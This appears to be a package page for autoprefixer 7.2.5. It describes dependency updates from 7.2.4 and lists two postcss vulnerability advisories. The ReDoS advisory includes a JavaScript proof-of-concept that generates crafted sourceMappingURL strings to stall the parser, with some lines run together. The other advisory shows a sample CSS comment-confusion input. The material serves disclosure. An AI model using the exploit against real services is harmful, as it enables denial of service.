Autoprefixer version 7.2.5 represents a subtle but important update over its predecessor, 7.2.4, refining the core functionality of automatically adding vendor prefixes to CSS rules. Both versions maintain the same fundamental description: parsing CSS and leveraging the Can I Use website data to ensure cross-browser compatibility. The key differences lie within their dependencies, reflecting evolutions in the underlying tools that power Autoprefixer.
Specifically, postcss has been updated from version ^6.0.15 to ^6.0.16, potentially bringing bug fixes and performance improvements within the PostCSS ecosystem, which Autoprefixer relies upon for CSS parsing and manipulation. browserslist, responsible for determining target browsers, jumps from ^2.10.2 to ^2.11.1, incorporating updated browser support data and possibly refined browser selection logic. Most crucially, caniuse-lite, the backbone of browser compatibility information, sees a considerable update from ^1.0.30000784 to ^1.0.30000791. This signifies an updated and more comprehensive understanding of which browser versions support specific CSS features, allowing Autoprefixer to generate more accurate and relevant vendor prefixes.
The other dependencies, num2fraction, normalize-range, and postcss-value-parser, remain consistent between the versions. While the core functionality remains the same, developers can expect improved browser compatibility support and refined prefixing behavior in version 7.2.5 because of such dependency upgrades. The release date difference, approximately ten days, shows the frequency of updates and the team's dedication to keeping Autoprefixer current with the ever-changing browser landscape.
All the vulnerabilities related to the version 7.2.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.